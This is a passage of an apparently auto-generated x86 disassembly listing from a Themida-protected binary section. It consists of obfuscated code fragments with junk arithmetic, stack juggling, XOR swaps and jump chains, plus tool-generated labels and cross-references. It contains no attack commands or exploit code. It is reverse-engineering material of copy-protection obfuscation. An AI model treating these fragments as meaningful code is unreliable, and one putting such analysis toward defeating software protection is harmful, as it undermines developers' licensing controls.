		mov	[esp+4+var_4], esi
		jmp	loc_5700B2
sub_5696A1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_5696AF:				; CODE XREF: sub_56BC97+4j
		push	eax
		mov	eax, esp
		jmp	loc_56894C
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------


loc_5696B7:				; CODE XREF: Themida_:00562B68j
		pop	edi
		sub	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_56CFDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5696C6:				; CODE XREF: sub_57354D-DB3j
		add	esp, 4
		not	esi
		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_57040D
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_5696D9:				; CODE XREF: sub_56BD44-770Ej
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_562C98
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_5696F0:				; CODE XREF: sub_5754DA-94F8j
		xor	dh, 0FDh
		sub	ch, dh
		push	[esp+8+var_8]
		pop	edx
		jmp	loc_56D958
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_5696FE:				; CODE XREF: sub_571289-4A83j
		sub	eax, 0B424228h
		sub	eax, ebx
		add	eax, 0B424228h
		push	ecx
		mov	ecx, 1E9A56D4h
		sub	eax, ecx
		pop	ecx
		push	edx
		push	eax
		mov	eax, 6F931470h
		and	eax, 4B694C3Fh
		jmp	loc_56CD7A
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_569724:				; CODE XREF: sub_56BD44+2741j
		add	edi, ecx
		add	edi, 7AD64362h
		jmp	loc_562FD8
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_569731:				; CODE XREF: sub_574656-E602j
		pop	ebp
		mov	esi, ebx
		pop	ebx
		xor	esi, edi
		push	[esp+10h+var_10]
		mov	edi, [esp+14h+var_14]
		jmp	loc_56B21B
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_569742:				; CODE XREF: sub_56628B-2AB2j
		shr	edi, 6
		jmp	loc_57225D
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570B3C


loc_56974A:				; CODE XREF: sub_570B3C-2C2Bj
		pop	eax
		jmp	loc_566CC9
; END OF FUNCTION CHUNK	FOR sub_570B3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_569750:				; CODE XREF: sub_563819-11EFj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		jmp	loc_570A0D
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_569762:				; CODE XREF: sub_5713A7-476Dj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_561DB1
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5671E1


loc_569772:				; CODE XREF: sub_5671E1+CD23j
		pop	esi
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		xor	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		inc	[esp-4+arg_0]
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5671E1
; ---------------------------------------------------------------------------


loc_569788:				; CODE XREF: Themida_:0056BA2Ej
		push	eax
		mov	eax, 4D490347h
		sub	[esp+4], eax
		jmp	loc_565BEC
; ---------------------------------------------------------------------------


loc_569797:				; CODE XREF: Themida_:00569181j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_57349F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_5697A2:				; CODE XREF: sub_563DCB+6712j
		sub	eax, edi
		pop	edi
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		jmp	loc_561187
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_5697B4:				; CODE XREF: sub_561027+7241j
		xor	ebp, 73B35074h
		push	esi
		jmp	loc_56C1A1
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_5697C0:				; CODE XREF: sub_571C93-7D87j
		add	ebx, eax
		jmp	loc_56A1CA
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_5697C7:				; CODE XREF: sub_5713A7+CC9j
		pop	ecx
		push	edi
		mov	edi, 31120EAAh
		sub	edi, 3F06E9Fh
		add	ebx, edi
		pop	edi
		jmp	loc_56A6D7
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F782


loc_5697DC:				; CODE XREF: sub_56F782-27ADj
		pop	ecx
		pop	ebp
		sub	ebp, 34810628h
		add	ebp, ecx
		add	ebp, 34810628h
		pop	ecx
		jmp	loc_561D33
; END OF FUNCTION CHUNK	FOR sub_56F782

; =============== S U B	R O U T	I N E =======================================



sub_5697F2	proc near		; DATA XREF: Themida_:0055FD58o

; FUNCTION CHUNK AT 00571AE2 SIZE 00000005 BYTES

		push	small word ptr [edx]
		jmp	loc_571AE2
sub_5697F2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3AF


loc_5697FA:				; CODE XREF: sub_56D3AF+427Dj
		pop	esp
		jmp	loc_575070
; END OF FUNCTION CHUNK	FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_569800:				; CODE XREF: sub_571088-180Bj
		shl	edi, 3
		jmp	loc_56B19C
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_569808:				; CODE XREF: sub_574A21-641Ej
		or	edx, edi
		jmp	loc_5616F2
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------


loc_56980F:				; CODE XREF: Themida_:00569B70j
		xor	dword ptr [esp], 47941680h
		pop	esi
		xor	esi, 47941680h
		mov	eax, [esp]
		add	esp, 4
		dec	esi
		jmp	loc_57290F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_56982C:				; CODE XREF: sub_5673C3+4F42j
		mov	esi, 476D0F55h
		add	esi, 0B892F0AFh
		sub	edi, esi
		pop	esi
		jmp	loc_56107E
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_56983F:				; CODE XREF: sub_5687A3+1232j
		pop	esp
		jmp	loc_572CD0
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_569845:				; CODE XREF: sub_56E0B0-AB47j
		shr	esi, 4
		jmp	loc_570DAF
; END OF FUNCTION CHUNK	FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56264C


loc_56984D:				; CODE XREF: sub_56264C+128C5j
		mov	esi, 7A9262E3h
		add	eax, esi
		pop	esi
		add	eax, 3A4F20D0h
		jmp	loc_561AEF
; END OF FUNCTION CHUNK	FOR sub_56264C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56985F:				; CODE XREF: sub_5678CB+6CD4j
		mov	edx, [esp+8+var_A+2]
		jmp	loc_572C0F
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563207


loc_569867:				; CODE XREF: sub_563207-106Fj
		add	eax, 54EE7897h
		sub	eax, 1A576B9Dh
		add	eax, ebp
		add	eax, 1A576B9Dh
		push	edi
		mov	edi, 54EE7897h
		sub	eax, edi
		pop	edi
		add	eax, 6DED1F0Fh
		push	[esp+0Ch+var_C]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_564344
; END OF FUNCTION CHUNK	FOR sub_563207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_56989A:				; CODE XREF: sub_5620B7+FC87j
		not	edi
		xchg	edi, ebx
		xchg	eax, ebx
		jmp	loc_561CBF
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_5698A4:				; CODE XREF: sub_569DB5+9676j
		not	esi
		inc	esi
		push	edx
		push	ebp
		mov	ebp, 314657F9h
		mov	edx, ebp
		pop	ebp
		shr	edx, 2
		or	edx, 71772900h
		sub	edx, 45AE5E23h
		xor	edx, 420000C7h
		push	43EFh
		mov	[esp+0Ch+var_C], esi
		mov	esi, 4BA50205h
		xor	edx, esi
		pop	esi
		sub	edx, 5DD31CB3h
		or	edx, 41D425F4h
		jmp	loc_56B994
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_5698E7:				; CODE XREF: sub_571890-251Cj
		not	ecx
		add	ecx, 4ECA747Bh
		sub	ecx, 0BD658F5Ch
		mov	ebx, ecx
		jmp	loc_573A5B
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_5698FC:				; CODE XREF: sub_560844+CFE4j
		mov	[esp+4+var_4], ebx
		jmp	loc_566DDB
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_569904:				; CODE XREF: sub_56FA15-555Dj
		add	bl, 1Fh
		sub	al, bl
		pop	ebx
		push	ecx
		mov	cl, 0B0h
		push	ebx
		mov	bh, 20h
		not	bh
		dec	bh
		or	bh, 0CFh
		not	bh
		sub	bh, 0F8h
		add	cl, bh
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		add	al, cl
		push	[esp+4+var_4]
		pop	ecx
		push	edi
		jmp	loc_56B9D0
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_569930:				; CODE XREF: sub_569A84+Dj
		pop	edi
		push	795Bh
		mov	[esp+8+var_8], ebp
		jmp	loc_56DF37
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56993E:				; CODE XREF: sub_564D26+D532j
		push	2C3Ch
		mov	[esp+0Ch+var_C], edx
		jmp	loc_565CF4
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------


loc_56994B:				; CODE XREF: Themida_:00562842j
		xor	edi, 725047BEh
		add	edi, 0AB7F5BD4h
		and	ecx, edi
		pop	edi
		not	ecx
		inc	ecx
		push	edx
		mov	edx, 2C9A0752h
		xor	edx, 70497993h
		inc	edx
		jmp	loc_56B37F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56996F:				; CODE XREF: sub_572075-EBE2j
		xor	ecx, 0B76D3DFFh
		jmp	loc_568D4C
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_56997A:				; CODE XREF: sub_56BD44-B2F1j
		pop	esp
		mov	ax, [esp+0]
		jmp	loc_572518
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_569984:				; CODE XREF: sub_56AB51-6DB3j
		sub	ecx, 0CC53BC1Dh
		add	ecx, 1
		dec	ecx
		push	edx
		mov	edx, 94921F8h
		jmp	loc_570801
; END OF FUNCTION CHUNK	FOR sub_56AB51
; ---------------------------------------------------------------------------


loc_56999C:				; CODE XREF: Themida_:005671CBj
		mov	edi, 0F10B8EAh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56C266
; ---------------------------------------------------------------------------


loc_5699B9:				; CODE XREF: Themida_:00568915j
		push	edi
		jmp	loc_56D876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_5699BF:				; CODE XREF: sub_5687A3-B17j
		and	eax, 17EB00DBh
		sub	eax, 17C3007Fh
		add	ebp, eax
		pop	eax
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		jmp	loc_56983F
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_5699DA:				; CODE XREF: sub_565A8D+8359j
		mov	ecx, esp
		jmp	loc_565D60
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_5699E1:				; CODE XREF: sub_5648C6+72A0j
		mov	esi, 69744FEFh
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 5DF10F6Eh
		xor	esi, ebp
		pop	ebp
		jmp	loc_56B8D8
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_5699F9:				; CODE XREF: sub_566400+1j
		push	3AFFh
		mov	[esp+4+var_4], ebp
		mov	ebp, 275C712Fh
		add	ebp, 0FFFFFFFFh
		dec	ebp
		or	ebp, 3AA449A1h
		and	ebp, 58CC748Fh
		dec	ebp
		jmp	loc_564ECC
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5716F1


loc_569A1C:				; CODE XREF: sub_5716F1+Dj
		sub	edi, 0F50BC158h
		mov	ebx, edi
		pop	edi
		mov	edx, ebx
		jmp	loc_56E15B
; END OF FUNCTION CHUNK	FOR sub_5716F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_569A2C:				; CODE XREF: sub_572E16-7EB8j
		add	esp, 4
		jmp	sub_56D2D2
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------


loc_569A37:				; DATA XREF: Themida_:0055FCDCo
		push	352Eh
		mov	[esp], ecx
		jmp	loc_573A0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_569A44:				; CODE XREF: sub_567D31+CEBFj
		mov	[esp+0], edx
		sub	esp, 4
		jmp	loc_571974
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_569A52:				; CODE XREF: sub_56D359-8C7Aj
		pop	ebp
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		jmp	loc_569444
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563207


loc_569A5E:				; CODE XREF: sub_563207+71AFj
		mov	eax, [esp+8+var_8]
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_561BF0
; END OF FUNCTION CHUNK	FOR sub_563207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AA2B


loc_569A6A:				; CODE XREF: sub_56AA2B+62DDj
		or	ecx, 739D0EAEh
		jmp	loc_572CC4
; END OF FUNCTION CHUNK	FOR sub_56AA2B

; =============== S U B	R O U T	I N E =======================================



sub_569A75	proc near		; DATA XREF: Themida_:0055FDB8o

var_6		= dword	ptr -6
var_2		= word ptr -2

; FUNCTION CHUNK AT 0056105E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005610AD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561CAC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005676FF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056939A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056C57E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CC3F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DC20 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FFB0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005719B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571B76 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571CE3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572D5A SIZE 0000000C BYTES

		lodsb
		push	small 48BDh
		mov	[esp+0], bx
		push	ecx
		jmp	loc_56DC20
sub_569A75	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_569A84	proc near		; DATA XREF: Themida_:0055FEF8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00563842 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564C44 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00564EE9 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 00568ACD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569930 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A298 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056A87C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056BD80 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DF37 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00570CDE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570F25 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005711B7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572479 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572F21 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0057336F SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005736BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573DF7 SIZE 00000027 BYTES

		mov	ax, [esp+0]
		push	50A3h
		mov	[esp+4+var_4], edi
		push	esp
		jmp	loc_569930
sub_569A84	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_569A96:				; CODE XREF: sub_5690E8+A789j
		xor	ecx, eax
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_56F76D
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_569AA3:				; CODE XREF: sub_574CBE-7DC6j
		add	esp, 4
		sub	eax, esi
		pop	esi
		sub	eax, 7831597Dh
		jmp	loc_56A929
; END OF FUNCTION CHUNK	FOR sub_574CBE

; =============== S U B	R O U T	I N E =======================================



sub_569AB3	proc near		; CODE XREF: sub_561979+E1C5j

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560043 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005621FD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005639A2 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00566873 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00566D7E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00567995 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568B35 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056AE6B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B708 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056DF77 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F333 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F591 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570E51 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005746E1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005749EE SIZE 0000000F BYTES

		push	ebp
		mov	ebp, 5424613Eh
		jmp	loc_568B35
sub_569AB3	endp

; ---------------------------------------------------------------------------


loc_569ABE:				; CODE XREF: Themida_:005753A0j
		pop	esp
		sub	ebx, 23586796h
		sub	ebx, eax
		add	ebx, 23586796h
		sub	esp, 4
		jmp	loc_565411
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3B7


loc_569AD5:				; CODE XREF: sub_56D3B7-9BE9j
		xchg	esi, [esp+14h+var_14]
		jmp	loc_565CCA
; END OF FUNCTION CHUNK	FOR sub_56D3B7
; ---------------------------------------------------------------------------


loc_569ADD:				; CODE XREF: Themida_:0057379Dj
		add	ebx, eax
		pop	eax
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	54D7h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_561173
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574287


loc_569AFE:				; CODE XREF: sub_574287-E28Aj
		pop	edx
		mov	esi, [esp+4+var_4]
		jmp	loc_575271
; END OF FUNCTION CHUNK	FOR sub_574287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680FB


loc_569B07:				; CODE XREF: sub_5680FB+3E51j
		push	157Eh
		mov	[esp+14h+var_14], ebx
		jmp	loc_565A7A
; END OF FUNCTION CHUNK	FOR sub_5680FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_569B14:				; CODE XREF: sub_570732-3139j
		push	604C52ABh
		pop	eax
		xor	eax, ebp
		jmp	loc_568853
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_569B21:				; CODE XREF: sub_56102D+8DA0j
		mov	ebx, 73B8274Fh
		sub	ecx, ebx
		pop	ebx
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	edi
		push	63A3h
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 0B303477h
		sub	esi, 0B303473h
		add	ebp, esi
		jmp	loc_573BDD
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------


loc_569B4D:				; CODE XREF: Themida_:0056CBF6j
		mov	[esp], edi
		push	5D787509h
		pop	edi
		push	154Dh
		mov	[esp], esi
		push	eax
		push	7C2Ah
		mov	[esp], edx
		mov	edx, 11187092h
		mov	eax, edx
		pop	edx
		push	eax
		jmp	loc_56980F

; =============== S U B	R O U T	I N E =======================================



sub_569B75	proc near		; CODE XREF: sub_570CE4-B991j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056054F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00560C36 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056119E SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00563973 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005673FB SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00569EA6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B67E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D13E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00571408 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572EF9 SIZE 0000000B BYTES

		push	ebp
		jmp	loc_56D13E
sub_569B75	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_569B7B:				; CODE XREF: sub_566400+3B4Dj
		pop	esi
		add	eax, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	eax, ebp
		sub	eax, 6BF76AA5h
		jmp	loc_566244
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_569B93:				; CODE XREF: sub_569CBC+B5F0j
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		sub	edx, 59596094h
		jmp	loc_563454
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5662F9


loc_569BA6:				; CODE XREF: sub_5662F9+45F5j
		mov	esp, [esp+8+var_8]
		xor	[esp-4+arg_0], ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5662F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_569BB3:				; CODE XREF: sub_56657A+6660j
		mov	ebx, eax
		pop	eax
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_57367D
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_569BC4:				; CODE XREF: sub_566117+C57j
		pop	ecx
		jmp	loc_5729A1
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_569BCA:				; CODE XREF: sub_56616D+6498j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		jmp	loc_572044
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA36


loc_569BDA:				; CODE XREF: sub_56DA36+8j
		add	ebp, 0E74D3ED2h
		mov	ecx, ebp
		jmp	loc_5713FC
; END OF FUNCTION CHUNK	FOR sub_56DA36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_569BE7:				; CODE XREF: sub_574656-F3A6j
		xchg	edi, [esp+14h+var_14]
		pop	esp
		sub	eax, 1942549Fh
		add	eax, edi
		add	eax, 1942549Fh
		add	eax, 640547C1h
		push	[esp+10h+var_10]
		pop	edi
		add	esp, 4
		pop	esi
		push	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		jmp	loc_56F08C
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_569C1D:				; CODE XREF: sub_57354D-23B1j
		mov	esp, [esp+0]
		jmp	loc_574DD4
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------


loc_569C25:				; CODE XREF: Themida_:00568388j
		mov	ecx, 528D7AF7h
		jmp	loc_565EEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_569C2F:				; CODE XREF: sub_572075-24F0j
		sub	ebp, 0F8B587Fh
		add	ebp, 59F02FE2h
		sub	ebp, eax
		jmp	loc_56BA91
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_569C42:				; CODE XREF: sub_5605BC+6789j
		pop	esp
		jmp	loc_5615A4
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_569C48:				; CODE XREF: sub_561027+3EA0j
		neg	edi
		sub	edi, 45E860C3h
		sub	eax, 926EF9h
		add	eax, edi
		add	eax, 926EF9h
		pop	edi
		sub	eax, 4
		xchg	eax, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], eax
		xchg	ebx, [esp+10h+var_10]
		not	ebx
		jmp	loc_560BB9
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566F55


loc_569C73:				; CODE XREF: sub_566F55+Dj
		mov	edi, [esp+4+var_4]
		jmp	loc_56D402
; END OF FUNCTION CHUNK	FOR sub_566F55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_569C7B:				; CODE XREF: sub_56B06D+60FBj
		add	[esp+0Ch+var_8], 1F50717Bh
		jmp	loc_5669B2
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_569C88:				; CODE XREF: sub_568646+5AB0j
		mov	ecx, [esp+0]
		add	esp, 4
		pop	edx
		add	al, bl
		mov	ebx, [esp-8+arg_4]
		push	ecx
		mov	ecx, esp
		jmp	loc_56F5FF
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_569C9F:				; CODE XREF: sub_56D4B8-55B9j
		push	esi
		mov	esi, esp
		push	edx
